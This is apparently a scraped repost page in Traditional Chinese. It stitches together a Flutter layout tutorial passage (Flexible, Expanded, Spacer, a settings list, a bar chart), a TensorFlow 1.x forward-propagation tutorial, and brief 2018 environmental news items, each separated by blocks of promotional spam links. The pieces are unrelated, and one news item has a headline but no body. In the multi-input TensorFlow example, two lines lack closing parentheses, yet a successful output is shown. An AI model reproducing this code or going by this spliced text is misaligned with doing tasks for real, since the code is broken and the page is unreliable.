          flex: 3,
          child: Container(
            color: Colors.green,
            alignment: Alignment.center,
            child: Text('3 Flex/ 6 Total',style: TextStyle(color: Colors.white),),
          ),
        ),
      ],
    )

子組件佔比 = 當前子控件 flex / 所有子組件 flex 之和。

Flexible中 fit 參數表示填滿剩餘空間的方式,說明如下:

  • tight:必須(強制)填滿剩餘空間。
  • loose:盡可能大的填滿剩餘空間,但是可以不填滿。

這2個看上去不是很好理解啊,什麼叫盡可能大的填滿剩餘空間?什麼時候填滿?看下面的例子:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
            child: Container(
              color: Colors.red,
              height: 50,
			  child: Text('Container',style: TextStyle(color: Colors.white),),
            )
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

這段代碼是在最上面代碼的基礎上給中間的紅色Container添加了Text子控件,此時紅色Container就不在充滿空間,再給Container添加對齊方式,代碼如下:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
            child: Container(
              color: Colors.red,
              height: 50,
			  alignment: Alignment.center,
			  child: Text('Container',style: TextStyle(color: Colors.white),),
            )
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

此時又填滿剩餘空間。

大家是否還記得 Container 組件的大小是如何調整的嗎?Container 默認是適配子控件大小的,但當設置對齊方式時 Container 將會填滿父組件,因此是否填滿剩餘空間取決於子組件是否需要填滿父組件。

如果把 Flexible 中子組件由 Container 改為 OutlineButton,代碼如下:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
          child: OutlineButton(
            child: Text('OutlineButton'),
          ),
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

OutlineButton 正常情況下是不充滿父組件的,因此最終的效果應該是不填滿剩餘空間:

下面再來介紹另一個權重組件 Expanded ,源代碼如下:

class Expanded extends Flexible {
  /// Creates a widget that expands a child of a [Row], [Column], or [Flex]
  /// so that the child fills the available space along the flex widget's
  /// main axis.
  const Expanded({
    Key key,
    int flex = 1,
    @required Widget child,
  }) : super(key: key, flex: flex, fit: FlexFit.tight, child: child);
}

Expanded 繼承字 Flexible,fit 參數固定為 FlexFit.tight,也就是說 Expanded 必須(強制)填滿剩餘空間。上面的 OutlineButton 想要充滿剩餘空間可以直接使用 Expanded :

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Expanded(
          child: OutlineButton(
            child: Text('OutlineButton'),
          ),
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

Spacer 也是一個權重組件,源代碼如下:

@override
Widget build(BuildContext context) {
  return Expanded(
    flex: flex,
    child: const SizedBox.shrink(),
  );
}

Spacer 的本質也是 Expanded 的實現的,和Expanded的區別是:Expanded 可以設置子控件,而 Spacer 的子控件尺寸是0,因此Spacer適用於撐開 Row、Column、Flex 的子控件的空隙,用法如下:

Row(
  children: <Widget>[
    Container(width: 100,height: 50,color: Colors.green,),
    Spacer(flex: 2,),
    Container(width: 100,height: 50,color: Colors.blue,),
    Spacer(),
    Container(width: 100,height: 50,color: Colors.red,),
  ],
)

三個權重組建總結如下:

  • Spacer 是通過 Expanded 實現的,Expanded繼承自Flexible。
  • 填滿剩餘空間直接使用Expanded更方便。
  • Spacer 用於撐開 Row、Column、Flex 的子組件的空隙。

仿 掘金-我 效果

先看下效果:

拿到效果圖先不要慌 (取出手機拍照發個朋友圈),整個列表每一行的布局基本一樣,所以先寫出一行的效果:

class _SettingItem extends StatelessWidget {
  const _SettingItem(
      {Key key, this.iconData, this.iconColor, this.title, this.suffix})
      : super(key: key);

  final IconData iconData;
  final Color iconColor;
  final String title;
  final Widget suffix;

  @override
  Widget build(BuildContext context) {
    return Container(
      height: 45,
      child: Row(
        children: <Widget>[
          SizedBox(
            width: 30,
          ),
          Icon(iconData,color: iconColor,),
          SizedBox(
            width: 30,
          ),
          Expanded(
            child: Text('$title'),
          ),
          suffix,
          SizedBox(
            width: 15,
          ),
        ],
      ),
    );
  }
}

消息中心和其他行最後的樣式不一樣,單獨封裝,帶紅色背景的組件:

class _NotificationsText extends StatelessWidget {
  final String text;

  const _NotificationsText({Key key, this.text}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Container(
      padding: EdgeInsets.symmetric(horizontal: 10),
      decoration: BoxDecoration(
          shape: BoxShape.rectangle,
          borderRadius: BorderRadius.all(Radius.circular(50)),
          color: Colors.red),
      child: Text(
        '$text',
        style: TextStyle(color: Colors.white),
      ),
    );
  }
}

灰色後綴組件:

class _Suffix extends StatelessWidget {
  final String text;

  const _Suffix({Key key, this.text}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Text(
      '$text',
      style: TextStyle(color: Colors.grey.withOpacity(.5)),
    );
  }
}

將這些封裝好的組件組合起來:

class SettingDemo extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return Column(
      children: <Widget>[
        _SettingItem(
          iconData: Icons.notifications,
          iconColor: Colors.blue,
          title: '消息中心',
          suffix: _NotificationsText(
            text: '2',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.thumb_up,
          iconColor: Colors.green,
          title: '我贊過的',
          suffix: _Suffix(
            text: '121篇',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.grade,
          iconColor: Colors.yellow,
          title: '收藏集',
          suffix: _Suffix(
            text: '2個',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.shopping_basket,
          iconColor: Colors.yellow,
          title: '已購小冊',
          suffix: _Suffix(
            text: '100個',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.account_balance_wallet,
          iconColor: Colors.blue,
          title: '我的錢包',
          suffix: _Suffix(
            text: '10萬',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.location_on,
          iconColor: Colors.grey,
          title: '閱讀過的文章',
          suffix: _Suffix(
            text: '1034篇',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.local_offer,
          iconColor: Colors.grey,
          title: '標籤管理',
          suffix: _Suffix(
            text: '27個',
          ),
        ),
      ],
    );
  }
}

至此就結束了。

柱狀圖

先來看下效果:

關於動畫部分的內容會在後面的章節具體介紹。這個效果分為3大部分:

  1. 坐標軸,左邊和底部黑色直線。
  2. 矩形柱狀圖。
  3. 動畫控制部分。

坐標軸的實現如下:

class _Axis extends StatelessWidget {
  final Widget child;

  const _Axis({Key key, this.child}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Container(
      decoration: BoxDecoration(
        border: Border(
          left: BorderSide(color: Colors.black, width: 2),
          bottom: BorderSide(color: Colors.black, width: 2),
        ),
      ),
      child: child,
    );
  }
}

單個柱狀圖實現:

class _Cylinder extends StatelessWidget {
  final double height;
  final double width;
  final Color color;

  const _Cylinder({Key key, this.height, this.width, this.color})
      : super(key: key);

  @override
  Widget build(BuildContext context) {
    return AnimatedContainer(
      duration: Duration(seconds: 1),
      height: height,
      width: width,
      color: color,
    );
  }
}

生成多個柱狀圖:

final double _width = 20.0;
List<double> _heightList = [60.0, 80.0, 100.0, 120.0, 140.0];

Row(
    mainAxisAlignment: MainAxisAlignment.spaceBetween,
    crossAxisAlignment: CrossAxisAlignment.end,
    children: List.generate(_heightList.length, (index) {
      return _Cylinder(
        height: _heightList[index],
        width: _width,
        color: Colors.primaries[index % Colors.primaries.length],
      );
    }))

將此合併,然後更改每一個柱狀圖的高度:

class CylinderChart extends StatefulWidget {
  @override
  _CylinderChartState createState() => _CylinderChartState();
}

class _CylinderChartState extends State<CylinderChart> {
  final double _width = 20.0;
  List<double> _heightList = [60.0, 80.0, 100.0, 120.0, 140.0];

  @override
  Widget build(BuildContext context) {
    return Center(
      child: Container(
        height: 200,
        width: 250,
        child: Stack(
          children: <Widget>[
            _Axis(),
            Positioned.fill(
              left: 5,
              right: 5,
              child: Row(
                  mainAxisAlignment: MainAxisAlignment.spaceBetween,
                  crossAxisAlignment: CrossAxisAlignment.end,
                  children: List.generate(_heightList.length, (index) {
                    return _Cylinder(
                      height: _heightList[index],
                      width: _width,
                      color: Colors.primaries[index % Colors.primaries.length],
                    );
                  })),
            ),
            Positioned(
              top: 0,
              left: 30,
              child: OutlineButton(
                child: Text('反轉'),
                onPressed: () {
                  setState(() {
                    _heightList = _heightList.reversed.toList();
                  });
                },
              ),
            )
          ],
        ),
      ),
    );
  }
}

搞定。

交流

老孟Flutter博客地址(330個控件用法):http://laomengit.com

歡迎加入Flutter交流群(微信:laomengit)、關注公眾號【老孟Flutter】:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

Tensorflow實現神經網絡的前向傳播

我們構想有一個神經網絡,輸入為兩個input,中間有一個hidden layer,這個hiddenlayer當中有三個神經元,最後有一個output。

圖例如下:

 

 

 

 在實現這個神經網絡的前向傳播之前,我們先補充一下重要的知識。

一.權重w以及input的初始化

我們初始化權重w的方法為隨機生成這些權重,一般可以使用這些隨機生成的數據正好在正態分佈的曲線上,這也是最符合生成符合自然規律的隨機數生成方法:

import tensorflow as tf
#一般情況下神經網絡上的參數是w的數列,當然我們一般使用隨機數來生成這些參數
w=tf.Variable(tf.random_normal([2,3],stddev=2,mean=0,seed=1))
#其中stddev表示標準差,mean表示均值,【】表示隨機生成正態分佈的數值的shape

這樣我們的權重就生成了,我們初始化input的方法有有以下幾種,偽代碼如下:

除了這種方式,我們還可以使用
tf.constant([1,2,3]),來生成指定數值
tf.zeros([2,3],int32),用來生成全零
tf.ones([2,3],int32),同來生成全1
tf.fill([3,2],6),生成指定數值

下面我們編寫一個僅有一個初始值input的神經網絡,並利用tensorflow實現對其進行前向傳播。因為初始值僅有一個,實現的方法一共有兩種,我們來看看第一種:

二.神經網絡的前向傳播(僅具一個初始值,方法一)

import tensorflow as tf

x=tf.constant([[0.7,0.5]])#注意這裏,寫了兩个中括號啊!
w1=tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))
w2=tf.Variable(tf.random_normal([3,1],stddev=1,seed=1))

#然後定義向前傳播的過程
a=tf.matmul(x,w1)
y=tf.matmul(a,w2)

#利用session計算前向傳播的結果
with tf.Session() as sess:
    init_op=tf.global_variables_initializer()
    sess.run(init_op)
    print(sess.run(y))#這裏使用run(y)打印出結果,因為最後一個輸出我們定義的是y

輸出:

[[3.0904665]]

三.神經網絡的前向傳播(僅具一個初始值,方法二)

我們利用placeholder進行數據的初始化,賦值給input,使用placeholder既可以賦一個值,也可以賦多個值,這也是它很常見的原因,代碼如下:

import tensorflow as tf

x=tf.placeholder(tf.float32,shape=(1,2))
w1=tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))
w2=tf.Variable(tf.random_normal([3,1],stddev=1,seed=1))

#同樣地定義前向傳播的過程
a=tf.matmul(x,w1)
y=tf.matmul(a,w2)

#利用session計算前向傳播的結果
with tf.Session() as sess:
    init_op=tf.global_variables_initializer()
    sess.run(init_op)
    print(sess.run(y,feed_dict={x:[[0.7,0.5]]}))#這裏使用run(y)打印出結果,因為最後一個輸出我們定義的是y

輸出:

[[3.0904665]]

結果和方法一相同。接下來就可以對多個數據進行前向傳播了,也是利用placeholder方法

四.神經網絡的前向傳播(多個初始值)

代碼如下:

import tensorflow as tf

x=tf.placeholder(tf.float32,shape=(None,2))
w1=tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))
w2=tf.Variable(tf.random_normal([3,1],stddev=1,seed=1)

#同樣地定義前向傳播的過程
a=tf.matmul(x,w1)
y=tf.matmul(a,w2

#利用session計算前向傳播的結果
with tf.Session() as sess:
    init_op=tf.global_variables_initializer()
    sess.run(init_op)
    print(sess.run(y,feed_dict={x:[[0.7,0.5],[0.2,0.3],[0.5,0.5]]}))

輸出:

[[3.0904665]
 [1.2236414]
 [2.5171587]]

完畢!看起來還是挺簡單的吧!tensorflow在工業界的應用還是十分廣泛的,想要創業和在業界工作的朋友就可以好好了解一下了!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※FB行銷專家,教你從零開始的技巧

人類已在8月首日 耗盡了地球一年的資源

摘錄自2018年8月2日台灣英文新聞報導

8月1日,人類已消耗今年大自然給予我們一年份的資源。

綜合法媒《法新社》與英媒《衛報》的報導,與全球足跡網絡合作的世界自然基金會(World Wildlife Fund,WWF)的Valérie Gramond表示,今年到8月1日,人類已用掉地球供人類一年份的樹、水、土地、漁貨等資源量,而釋放的碳排放,也已超出海洋與森林所能負荷且吸收的量。

WWF指出,人類需要1.7個地球才能維持目前對於生態資源需求的水平。

首次紀錄「地球超載日」(Earth Overshoot Day, EOD)亦稱作「生態負債日」,在1970年為12月29日,去(2017)年則落在8月3日,今年更提早2天來到8月1日,創下有史以來最早的記錄。

雖然這段期間有稍稍減緩了一些,但在二年前,資源的消耗又再度恢復其速度。據此趨勢估計,明(2019)年的「生態負債日」可能會提前到7月份。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計最專業,超強功能平台可客製化

歐洲熱浪 海溫過高迫使核電廠降載、停機

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

法國熱浪高峰 14萬人求遊樂園放過北極熊

摘錄自2018年8月7日中央社報導

法國經歷新一波熱浪,預計巴黎今天氣溫達攝氏37度。在此高溫下,人類健康固然受威脅,對動物園、遊樂園禁錮的北極熊更是酷刑,熱浪促使人們加緊連署,要求轉移寒帶動物。

法國海洋動物權利維護組織「受夠了」協會(C’est Assez)於6月中在臉書粉絲專頁公布一段影片,可以看到蔚藍海岸城市昂蒂布(Antibes)的「海洋世界」(Marineland)飼養的北極熊哈斯普丁(Raspoutine),在太陽曝曬下的岩石間走動,看來很熱,也很焦慮。

協會表示,拍下影片的時候,氣溫大約是23度,園區環境設計並沒給北極熊可遮蔭的地方,冰穴則以鐵欄關閉,北極熊根本無從躲避暑氣。

根據「受夠了」協會,只要氣溫超過10度,北極熊就會感到過熱,更別說熱浪來襲,這種寒帶動物會有多麼不適。協會公布影片同時發起連署,要求把北極熊緊急轉移到更適合牠居住的地方。

這份連署到今天已收集了14萬人簽名,將呈給生態部長余洛(Nicolas Hulot)。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※FB行銷專家,教你從零開始的技巧

乾旱熱浪雙襲 瑞士出動直升機為牛送水

摘錄自2018年8月8日中央通訊社台北報導

熱浪侵襲歐洲大部分地區,瑞士今天(8日)開始動用軍用直升機空運水,給飽受乾旱和熱浪所苦的數萬頭乳牛。

超級美洲獅直升機(Super Puma)下方掛著大型紅色塑膠容器,將水運往菊哈山(Jura)和阿爾卑斯山山麓的牧場。

當局表示,瑞士西部沃邦(Vaud)高海拔牧場夏季放牧約4萬頭乳牛,每頭牛每天需要高達150公升的水。目前已將2個大水槽裝滿水,以便農民可前來裝水。

這波熱浪甚至造成萊因河裡的魚死亡,瑞士聯邦政府昨天表示,將降低牲畜飼料的進口關稅,並提供零利率貸款協助農民對抗乾旱。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

※網頁設計最專業,超強功能平台可客製化